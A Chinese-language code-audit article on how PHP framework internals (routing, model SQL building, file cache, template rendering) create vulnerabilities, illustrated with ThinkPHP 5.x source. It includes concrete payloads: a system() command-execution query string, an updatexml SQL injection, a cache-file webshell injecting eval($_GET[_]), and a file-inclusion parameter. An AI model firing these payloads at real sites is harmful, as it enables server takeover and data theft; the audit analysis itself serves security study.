简单理解 PHP 框架可能产生的安全问题

  • A+
所属分类:代码审计

前几天看到某大牛对 PbootCMS 的代码审计,突然明白了底层逻辑对 cms 审计的重要性

开发者自写的框架的审计一般是 框架实现->调用地点, simple-framework 是一个简单的框架实现, 如果仅关注框架实现,它是一个很好的选择.,本文以 simple-framework 和 thinphp 为例,重点关注框架的底层实现可能产生的问题

0X01 框架简介

现在的 php 框架,一般都是单一入口

define('SF_PATH',dirname(__DIR__));require_once(SF_PATH.'/src/Sf.php');require_once(__DIR__ . '/../vendor/autoload.php');ini_set("display_errors", "On");error_reporting(E_ALL | E_STRICT);$application = new sfwebApplication();$application->run();

加载基础文件后,引入自动加载机制,调用框架类,处理请求并发送响应

那么框架类都要做什么?

框架类会将请求封装成 Resquest 对象,并且解析路由,调用对应的 controller 处理,然后返回 Response 对象,并且框架会提供一些辅助工具, 如 缓存, 模板, model 。

接下来,就看看框架在进行相应出来时可能会产生什么问题.

0x02 控制器调用

$router = $_GET['r'];list($controllerName, $actionName) = explode('/',$router);$ucController = ucfirst($controllerName);$controllerNameAll = 'app\controllers\'.$ucController.'Controller';$controller = new $controllerNameAll();$controller ->id = $controllerName;$controller -> action = $actionName;return call_user_func([$controller,'action'.ucfirst($actionName)]);

框架类对控制器的调用是通过 call_user_func 实现的,如果对控制器和方法没有做好校验,就可能导致任意方法调用,进而导致代码执行,thinphp 两个 rce 漏洞都和这个相关

// ./thinkphp/library/think/route/Dispatch.php    public function exec(){                ...            // 实例化控制器            $instance = $this->app->controller($this->controller,                  ...            $action = $this->actionName . $this->rule->getConfig('action_suffix');                ....                $reflect    = new ReflectionMethod($instance, $action);                $methodName = $reflect->getName();                            ...                $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;                // 自动获取请求变量                $vars = $this->rule->getConfig('url_param_type')                ? $this->request->route()                : $this->request->param();                $vars = array_merge($vars, $this->param);                            ....            $data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

类比 simple-framework 框架, thinphp 要做的也是获取控制器名,方法名,和参数,然后利用类似call_user_func进行执行.这样很会导致调用 任意类的任意方法.

thinphp 使用反射机制来实现控制器调用

$data = $this->app->invokeReflectMethod($instance, $reflect, $vars);

如果没有开启强制路由,传入

?s=index/thinkRequest/input&filter[]=system&data=pwd

此时 $this->controller 为 thinkRequest,$this->actionName 为 input, 最终调用了 request 对象下了 input 方法, input 方法为了支持自定义过滤器存在 call_user_func 函数,最终导致代码执行

0X03 model

Model 类的作用是映射数据库表,进行增删改查操作,并且返回 Model 对象,

Model 对象是把数据库指定表中的一行数据映射,并有增删改查的操作方法(利用主键,构造 where,还是调用 Model 类的方法实现).

model 模型会实例化一个数据库连接对象,进行数据库操作

public static function updateAll($condition, $attributes){        $sql = 'update '. static::tableName();        $params = [];                if(!empty($attributes)){            $sql .= ' set ';            $params = array_values($attributes);            $keys = [];            foreach($attributes as $key => $value){                array_push($keys, "$key = ?");            }            $sql .= implode(' , ', $keys);        }        list($where, $param) = static::buildWhere($condition);        $sql .= $where;        // array_push($params, $param[0]);        $params =array_merge($params, $param);        $stmt = static::getDb()->prepare($sql);        $execResult = $stmt->execute($params);        if ($execResult){            $execResult = $stmt->rowCount();        }        return $execResult;    }

以 update 的实现为例, 代码的大体逻辑是将 update 的 set 部分拼接好然后调用增删改查都可用的 buildwhere, 构造 where 语句, 然后进行 sql 执行。

可见,在底层既有 key 的拼接,又有 value 的拼接,如果没有做好过滤,很容易产生 sql 注入,尤其是很多开发者为了扩建功能,提供一些新的支持,也会导致各种各样的问题,

虽然这个底层用了预编译,可能利用价值不高

thinkphp insert 方法注入

版本5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5

//控制器设置$username = request()->get('username/a');db('users')->insert(['username' => $username]);return 'Update success';//payloadindex?username[0]=inc&username[1]=updatexml(1,concat(0x7,user(),0x7e),1)&username[2]=1

对应 simple-framework 框架, thinkphp 的 db/Query 类下的 insert 实现要做的也是, 构建 sql 语句,然后预编译执行

// library/db/Query// 删除了部分不必要代码    public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null){        // 分析查询表达式        $options = $this->parseExpress();        $data    = array_merge($options['data'], $data);        // 生成SQL语句        $sql = $this->builder->insert($data, $options, $replace);        // 获取参数绑定        $bind = $this->getBind();        // 执行操作        $result = 0 === $sql ? 0 : $this->execute($sql, $bind);        return $result;

thinphp 前面对表达式进行了分析,不过不影响我们的 payload

我们跟进$this->builder->insert($data, $options, $replace);,看语句是怎么构建的

  $data = $this->parseData($data, $options);        $fields = array_keys($data);        $values = array_values($data);        $sql = str_replace(            ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],            [                $replace ? 'REPLACE' : 'INSERT',                $this->parseTable($options['table'], $options),                implode(' , ', $fields),                implode(' , ', $values),                $this->parseComment($options['comment']),            ], $this->insertSql);            // $this->insertSql=%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%        return $sql;    }

可以看到,先解析要插入的数据,然后替换模板进行插入,我们跟进 parseData 方法

foreach ($data as $key => $val) {            } elseif (is_array($val) && !empty($val)) {                switch ($val[0]) {                    case 'exp':                        $result[$item] = $val[1];                        break;                    case 'inc':                        $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);                        break;                    case 'dec':                        $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);                        break;                }

在 parseData, thinphp 为 insert 数组的插入提供了额外的支持, 如果数组的第一个字段是 exp,则直接执行第二个字段的 sql 语句,

在 thinkphp3 的时候,全局没有过滤 exp 也曾出过注入漏洞, 现在 thinphp 默认会将外部输入的数组中的 exp 后面加一个空格,所以这里匹配不到

但这里的 inc, 全局没有过滤,而又直接拼接了 $val[1] 和 $val[2] 导致注入漏洞的产生,

这个地方在 5.1.6<=ThinkPHP<=5.1.7 , 因为新增了默认处理, 还出过 update 注入

一些可能导致注入的情况总结

因为框架要扩展各种各样的函数,会出现各种复杂的情况,很容易导致注入漏洞的产生.

1、order by 字段

因为传入的是表名,导致一般单引号,双引号的防御失效, 参考 5.1.16<=ThinkPHP5<=5.1.22, order by 方法注入

2、聚合函数

还是反引号的问题,参考 5.0.0<=ThinkPHP<=5.0.21, 5.1.3<=ThinkPHP5<=5.1.25 聚会函数注入

3、开发者扩展的新功能

insert 支持二维数组插入多条数据,而全局过滤没有过滤 key 导致利用 key 进行注入,参考 PbootCMS

4、还有数组未过滤 key,然后拼接到 buildwhere 语句的字段名导致注入

0X04 缓存

interface CacheInterface{    public function buildKey($key);    public function get($key);    public function exists($key);    public function mget($keys);    public function set($key, $value,$duration = 0);    public function mset($items, $duration = 0);    public function add($key, $value, $duration = 0);    public function madd($items, $duration = 0);    public function delete($key);    public function flush();}

缓存组件,一般在扩展的组件中

会提供类似 set 和 get 方法,将想要缓存的数据写入文件或数据库,方便下次读取

如果使用文件驱动类,一般的操作是利用 $key 构建文件名, 然后放在 runtime 目录,如果网站是直接安装的根目录的,那么 runtime 目录是可以直接访问的有些框架为了防止用户直接访问到缓存数据,将文件名设置为 xx.php, 则可能导致 rce

set 方法会构建文件名,失效时间,然后把数据存入文件

public function set($key, $value, $duration = 0){$key = $this->buildKey($key);$cacheFile = $this->cachePath.$key;$value = serialize($value);if(@file_put_contents($cacheFile,$value,LOCK_EX)!==false){if($duration<=0){$duration = 31536000;}# 用修改时间,标志缓存结束时间return touch($cacheFile,$duration+time());}}

5.0.0<=ThinkPHP5<=5.0.10 缓存文件 getshell


//控制器,需要创建对应模板use thinkCache; Cache::set("name",input("get.username")); return 'Cache success';// payloadindex/?username=wendell123%0d%0[email protected]eval($_GET[_]);//

在 thinphp 的 Cache 类的 set 中,先通过单例模式 init 方法,创建一个实例, 默认为 file,

既调用thinkcachedriverFile的 set 方法

public static function set($name, $value, $expire = null){self::$writeTimes++;return self::init()->set($name, $value, $expire);}

跟一下

  public function set($name, $value, $expire = null){        if (is_null($expire)) {            $expire = $this->options['expire'];        }        if ($expire instanceof DateTime) {            $expire = $expire->getTimestamp() - time();        }        $filename = $this->getCacheKey($name, true);        if ($this->tag && !is_file($filename)) {            $first = true;        }        $data = serialize($value);        if ($this->options['data_compress'] && function_exists('gzcompress')) {            //数据压缩            $data = gzcompress($data, 3);        }        $data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;        $result = file_put_contents($filename, $data);        if ($result) {            isset($first) && $this->setTagItem($filename);            clearstatcache();            return true;        } else {            return false;        }    }

虽然代码很多,类比 simple-framework 的实现,它要做的还是设置失效时间,然后将数据序列化,最后存入文件中,重点是这里

$data   = "<?phpn//" . sprintf('%012d', $expire) . "n exit();?>n" . $data;

可以看到 thinphp 是将数据写在 // 后,只要利用换行绕过,写入文件后,即可 getshell.

0X05 模板

   public function compile($file = null,$params = []){        $path = '../views/'.$file.'.sf';        extract($params);        if(!$this->isExpired($path)){            $compiled = $this->getComiledPath($path);            require_once $compiled;         }


控制器,调用模板的渲染方法,并且传入数据,最后返回 html 结果.

php 模板的实现方式一般为,将模板中的 {{name}} 替换为对应的 php 代码,如

<?php echo htmlentities(isset( $title ) ?  $title  : null) ?>

并且对文件进行缓存,下次使用时,判断缓存不过期便,直接读取,并把用户传入变量用 extract 扩展到全局,然后进行包含操作,输出内容

在 extract($params),可能会有变量覆盖,进而导致任意文件包含

5.0.0<=ThinkPHP5<=5.0.18 、5.1.0<=ThinkPHP<=5.1.10 任意文件包含

//控制器,需要创建对应模板$this->assign(request()->get());        return $this->fetch();// payloadindex/index/index?cacheFile=evil.php

在 Template 的实现部分

public function fetch($template, $vars = [], $config = []){        if ($vars) {            $this->data = $vars;        }        if ($config) {            $this->config($config);        }        if (!empty($this->config['cache_id']) && $this->config['display_cache']) {            // 读取渲染缓存            $cacheContent = Cache::get($this->config['cache_id']);            if (false !== $cacheContent) {                echo $cacheContent;                return;            }        }        $template = $this->parseTemplateFile($template);        if ($template) {            $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.');            if (!$this->checkCache($cacheFile)) {                // 缓存无效 重新模板编译                $content = file_get_contents($template);                $this->compiler($content, $cacheFile);            }            // 页面缓存            ob_start();            ob_implicit_flush(0);            // 读取编译存储            $this->storage->read($cacheFile, $this->data);            // 获取并清空缓存            $content = ob_get_clean();            if (!empty($this->config['cache_id']) && $this->config['display_cache']) {                // 缓存页面输出                Cache::set($this->config['cache_id'], $content, $this->config['cache_time']);            }            echo $content;        }

上述代码也是相同的逻辑,重点看

$this->storage->read($cacheFile, $this->data);

模板文件的加载部分

  public function read($cacheFile, $vars = []){        if (!empty($vars) && is_array($vars)) {            // 模板阵列变量分解成为独立变量            extract($vars, EXTR_OVERWRITE);        }        //载入模版缓存文件        include $cacheFile;    }

可以看到,thinphp 在处理 vars,直接覆盖了变量,如果传入 $cachefile,则导致任意文件包含

总结

本文只是列一些框架的常见组件可能存在的问题,并没有很细致的进行分析,可能不全面,希望和师傅们一起学习,如果文章中出现了错误请师傅们指正.

简单理解 PHP 框架可能产生的安全问题

本文始发于微信公众号(信安之路):简单理解 PHP 框架可能产生的安全问题

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: